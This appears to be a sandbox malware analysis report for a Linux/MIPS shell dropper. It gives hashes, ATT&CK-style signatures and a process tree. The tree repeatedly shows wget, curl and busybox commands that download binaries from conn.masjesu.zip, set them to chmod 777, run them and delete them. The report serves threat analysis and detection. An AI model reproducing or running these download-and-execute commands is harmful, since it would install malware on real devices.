8244109c86d283b906fe675baa7fccf53d3e46fa0b70226edfdd27733edf68d6

Analysis

max time kernel
85s
max time network
86s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2024, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8244109c86d283b906fe675baa7fccf53d3e46fa0b70226edfdd27733edf68d6.sh
Size 10KB
Sample241027-c2vreasejc
SHA256 8244109c86d283b906fe675baa7fccf53d3e46fa0b70226edfdd27733edf68d6
MD5 3df6cb5ff090e440245622dc0e09e8fd
SHA1 b6100bd16e49f19e01167c208a6c409c0f1e7138
SHA512 a2127f66a415e823a3c0339d1e57a88c438beeec8eb14f589847810b25c7e29a4df2342cebd5ff4dd7ed11a943ab71d220f4965f7bce0b556b5b4c557e422497
SSDEEP 192:+LQ427N18wPP4/NT5HzCJ5p9N8wPk/NJHzCJ5uM:+LQ427N18wPPs5HzCJ5p9N8wP6HzCJ5j
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
943	chmod
964	chmod
731	chmod
915	chmod
992	chmod
887	chmod
908	chmod
922	chmod
894	chmod
936	chmod
798	chmod
830	chmod
852	chmod
950	chmod
957	chmod
985	chmod
929	chmod
901	chmod
999	chmod
866	chmod
873	chmod
880	chmod
978	chmod
859	chmod
971	chmod
739	chmod
786	chmod
805	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
977	busybox
795	curl
846	curl
872	busybox
898	curl
900	busybox
961	curl
767	curl
877	curl
940	curl
954	curl
988	wget
729	busybox
738	busybox
792	wget
886	busybox
974	wget
883	wget
893	busybox
918	wget
919	curl
925	wget
996	curl
824	busybox
836	wget
912	curl
926	curl
928	busybox
777	busybox
797	busybox
801	wget
904	wget
982	curl
956	busybox
975	curl
742	wget
851	busybox
858	busybox
876	wget
905	curl
935	busybox
736	curl
947	curl
953	wget
995	wget
856	curl
891	curl
984	busybox
968	curl
991	busybox
708	wget
720	curl
804	busybox
812	curl
865	busybox
949	busybox
863	curl
884	curl
914	busybox
921	busybox
933	curl
989	curl
869	wget
879	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ	curl
File opened for modification	/tmp/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC	curl
File opened for modification	/tmp/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8	curl
File opened for modification	/tmp/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC	curl
File opened for modification	/tmp/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf	curl
File opened for modification	/tmp/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ	curl
File opened for modification	/tmp/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8	curl
File opened for modification	/tmp/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR	curl
File opened for modification	/tmp/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg	curl
File opened for modification	/tmp/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda	curl
File opened for modification	/tmp/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR	curl
File opened for modification	/tmp/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR	curl
File opened for modification	/tmp/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U	curl
File opened for modification	/tmp/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR	curl
File opened for modification	/tmp/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U	curl
File opened for modification	/tmp/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda	curl
File opened for modification	/tmp/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ	curl
File opened for modification	/tmp/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ	curl
File opened for modification	/tmp/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR	curl
File opened for modification	/tmp/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw	curl
File opened for modification	/tmp/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf	curl
File opened for modification	/tmp/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8	curl
File opened for modification	/tmp/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR	curl
File opened for modification	/tmp/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M	curl
File opened for modification	/tmp/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg	curl
File opened for modification	/tmp/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8	curl
File opened for modification	/tmp/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw	curl
File opened for modification	/tmp/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M	curl

/tmp/8244109c86d283b906fe675baa7fccf53d3e46fa0b70226edfdd27733edf68d6.sh
/tmp/8244109c86d283b906fe675baa7fccf53d3e46fa0b70226edfdd27733edf68d6.sh
1⤵
PID:701
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - System Network Configuration Discovery
  PID:708
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - System Network Configuration Discovery
  PID:729
- /bin/chmod
  chmod 777 NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  ./NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod 777 n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  ./n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  PID:741
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - System Network Configuration Discovery
  PID:777
- /bin/chmod
  chmod 777 vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  ./vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  PID:791
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - System Network Configuration Discovery
  PID:792
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - System Network Configuration Discovery
  PID:797
- /bin/chmod
  chmod 777 ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  ./ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  PID:800
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - System Network Configuration Discovery
  PID:801
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/chmod
  chmod 777 iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  ./iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  PID:807
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  - System Network Configuration Discovery
  PID:824
- /bin/chmod
  chmod 777 s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  ./s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  PID:834
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - System Network Configuration Discovery
  PID:836
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  ./fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - System Network Configuration Discovery
  PID:858
- /bin/chmod
  chmod 777 mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  ./mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  PID:861
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - System Network Configuration Discovery
  PID:865
- /bin/chmod
  chmod 777 C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  ./C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  PID:868
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - System Network Configuration Discovery
  PID:869
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - System Network Configuration Discovery
  PID:872
- /bin/chmod
  chmod 777 tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  ./tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  PID:875
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - System Network Configuration Discovery
  PID:876
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/chmod
  chmod 777 P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  ./P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - System Network Configuration Discovery
  PID:886
- /bin/chmod
  chmod 777 tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  ./tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  ./4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm 4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  ./BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  PID:903
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - System Network Configuration Discovery
  PID:904
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  PID:907
- /bin/chmod
  chmod 777 n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  ./n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
  2⤵
  PID:910
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/chmod
  chmod 777 vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  ./vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
  2⤵
  PID:917
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - System Network Configuration Discovery
  PID:921
- /bin/chmod
  chmod 777 C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  ./C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
  2⤵
  PID:924
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - System Network Configuration Discovery
  PID:925
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/chmod
  chmod 777 ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  ./ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
  2⤵
  PID:931
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - System Network Configuration Discovery
  PID:935
- /bin/chmod
  chmod 777 iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  ./iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
  2⤵
  PID:938
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  PID:942
- /bin/chmod
  chmod 777 s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  ./s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
  2⤵
  PID:945
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - System Network Configuration Discovery
  PID:949
- /bin/chmod
  chmod 777 fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  ./fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
  2⤵
  PID:952
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
